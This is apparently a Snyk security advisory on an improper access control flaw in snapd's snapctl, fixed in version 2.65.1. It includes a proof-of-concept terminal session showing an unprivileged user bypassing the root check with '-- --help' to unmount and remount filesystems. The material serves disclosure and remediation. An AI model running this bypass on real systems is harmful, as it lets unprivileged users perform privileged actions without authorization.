Improper Access Control Affecting github.com/snapcore/snapd/overlord/hookstate package, versions <2.65.1


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.05% (17th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-GOLANG-GITHUBCOMSNAPCORESNAPDOVERLORDHOOKSTATE-7175986
  • published 2 Jun 2024
  • disclosed 31 May 2024
  • credit Rory McNamara - Snyk Security Team

How to fix?

Upgrade github.com/snapcore/snapd/overlord/hookstate to version 2.65.1 or higher.

Overview

Affected versions of this package are vulnerable to Improper Access Control. In the snapctl tool, the authorization check can be bypassed via the inclusion of '-- --help' in the command line arguments. This issue arises due to the tool's failure to properly handle the context of the '-h' or '--help' parameters, allowing them to be used to bypass the requirement for the correct authorization (normally uid 0). An attacker can perform privileged actions, such as mounting or unmounting file systems, by exploiting this vulnerability.

PoC


rory@ubuntu2404release:~$ snap --version

snap 2.62+24.04build1

snapd 2.62+24.04build1

series 16

ubuntu 24.04

kernel 6.8.0-31-generic

rory@ubuntu2404release:~$ snap run --shell firefox

rory@ubuntu2404release:/home/rory$ mount | grep hunspell

/dev/sda2 on /var/snap/firefox/common/host-hunspell type ext4 (ro,noexec,noatime)

/dev/sda2 on /var/lib/snapd/hostfs/var/snap/firefox/common/host-hunspell type ext4 (ro,noexec,noatime)

rory@ubuntu2404release:/home/rory$ snapctl umount /var/snap/firefox/common/host-hunspell

error: cannot use "umount" with uid 1000, try with sudo

rory@ubuntu2404release:/home/rory$ snapctl umount /var/snap/firefox/common/host-hunspell -- --help

rory@ubuntu2404release:/home/rory$ mount | grep hunspell

rory@ubuntu2404release:/home/rory$ snapctl mount -oro,bind,noatime,noexec /usr/share/hunspell /var/snap/firefox/common/host-hunspell

error: cannot use "mount" with uid 1000, try with sudo

rory@ubuntu2404release:/home/rory$ snapctl mount -oro,bind,noatime,noexec /usr/share/hunspell /var/snap/firefox/common/host-hunspell -- --help

rory@ubuntu2404release:/home/rory$ mount | grep hunspell

/dev/sda2 on /var/lib/snapd/hostfs/var/snap/firefox/common/host-hunspell type ext4 (rw,relatime)

/dev/sda2 on /var/snap/firefox/common/host-hunspell type ext4 (rw,relatime)


CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
7.1 high
  • Attack Vector (AV)
    Local
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    None
  • Integrity (I)
    High
  • Availability (A)
    High